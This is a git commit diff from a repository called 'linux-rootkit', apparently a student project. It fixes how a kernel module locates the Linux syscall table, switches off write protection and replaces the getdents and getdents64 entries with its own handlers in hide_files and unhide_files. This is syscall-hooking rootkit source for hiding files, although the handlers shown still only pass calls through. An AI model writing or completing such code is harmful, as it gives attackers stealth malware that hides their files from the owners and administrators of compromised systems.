linux-rootkit

commit 2ea4b34dde9ef43c23f7a8beea95c4ddcd8abf2f
parent 65f046cb1484a53d0406eeb5c5d1b91a1e0a15cb
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 21 Nov 2020 15:57:38 +0100

fixes sys_call_table loading bug

Diffstat:
M
Makefile
 | 
2
+-
M
src/filehide.c
 | 
12
++++++------
M
src/filehide.h
 | 
4
++--
M
src/hook.c
 | 
10
+++++-----
M
src/hook.h
 | 
6
+++---

5 files changed, 17 insertions(+), 17 deletions(-)
diff --git a/Makefile b/Makefile
@@ -10,7 +10,7 @@ SRC_FILES := $(SRC_FILES:$(src)/%=%)
 obj-m += $(TARGET).o
 $(TARGET)-objs := $(SRC_FILES:%.c=%.o)
 
-ccflags-y := -std=std99 -Wno-declaration-after-statement
+ccflags-y := -std=gnu99 -Wno-declaration-after-statement
 
 all: test
 
diff --git a/src/filehide.c b/src/filehide.c
@@ -1,13 +1,13 @@
 #include "filehide.h"
 #include "hook.h"
 
-long
+asmlinkage long
 g7_getdents(unsigned fd, struct linux_dirent __user *dirp, unsigned count)
 {
     return sys_getdents(fd, dirp, count);
 }
 
-long
+asmlinkage long
 g7_getdents64(unsigned fd, struct linux_dirent64 __user *dirp, unsigned count)
 {
     return sys_getdents64(fd, dirp, count);
@@ -17,8 +17,8 @@ void
 hide_files(void)
 {
     disable_protection();
-    sys_call_table[__NR_getdents] = (long *)g7_getdents;
-    sys_call_table[__NR_getdents64] = (long *)g7_getdents64;
+    sys_call_table[__NR_getdents] = (unsigned long)g7_getdents;
+    sys_call_table[__NR_getdents64] = (unsigned long)g7_getdents64;
     enable_protection();
 }
 
@@ -26,7 +26,7 @@ void
 unhide_files(void)
 {
     disable_protection();
-    sys_call_table[__NR_getdents] = (long *)sys_getdents;
-    sys_call_table[__NR_getdents64] = (long *)sys_getdents64;
+    sys_call_table[__NR_getdents] = (unsigned long)sys_getdents;
+    sys_call_table[__NR_getdents64] = (unsigned long)sys_getdents64;
     enable_protection();
 }
diff --git a/src/filehide.h b/src/filehide.h
@@ -6,8 +6,8 @@
 #include <linux/syscalls.h>
 
 
-long g7_getdents(unsigned, struct linux_dirent __user *, unsigned);
-long g7_getdents64(unsigned, struct linux_dirent64 __user *, unsigned);
+asmlinkage long g7_getdents(unsigned, struct linux_dirent __user *, unsigned);
+asmlinkage long g7_getdents64(unsigned, struct linux_dirent64 __user *, unsigned);
 
 void hide_files(void);
 void unhide_files(void);
diff --git a/src/hook.c b/src/hook.c
@@ -3,17 +3,17 @@
 #include "hook.h"
 
 
-void **sys_call_table;
+unsigned long *sys_call_table;
 
-long (*sys_getdents)(unsigned, struct linux_dirent *, unsigned);
-long (*sys_getdents64)(unsigned, struct linux_dirent64 *, unsigned);
+asmlinkage long (*sys_getdents)(unsigned, struct linux_dirent *, unsigned);
+asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 *, unsigned);
 
 
 int
 retrieve_sys_call_table(void)
 {
-    return NULL != (sys_call_table
-        = (void **)kallsyms_lookup_name("sys_call_table"));
+    return NULL == (sys_call_table
+        = (unsigned long *)kallsyms_lookup_name("sys_call_table"));
 }
 
 void
diff --git a/src/hook.h b/src/hook.h
@@ -5,10 +5,10 @@
 #include <linux/dirent.h>
 #include <linux/syscalls.h>
 
-extern void **sys_call_table;
+extern unsigned long *sys_call_table;
 
-extern long (*sys_getdents)(unsigned, struct linux_dirent *, unsigned);
-extern long (*sys_getdents64)(unsigned, struct linux_dirent64 *, unsigned);
+extern asmlinkage long (*sys_getdents)(unsigned, struct linux_dirent *, unsigned);
+extern asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 *, unsigned);
 
 int retrieve_sys_call_table(void);
 void init_hooks(void);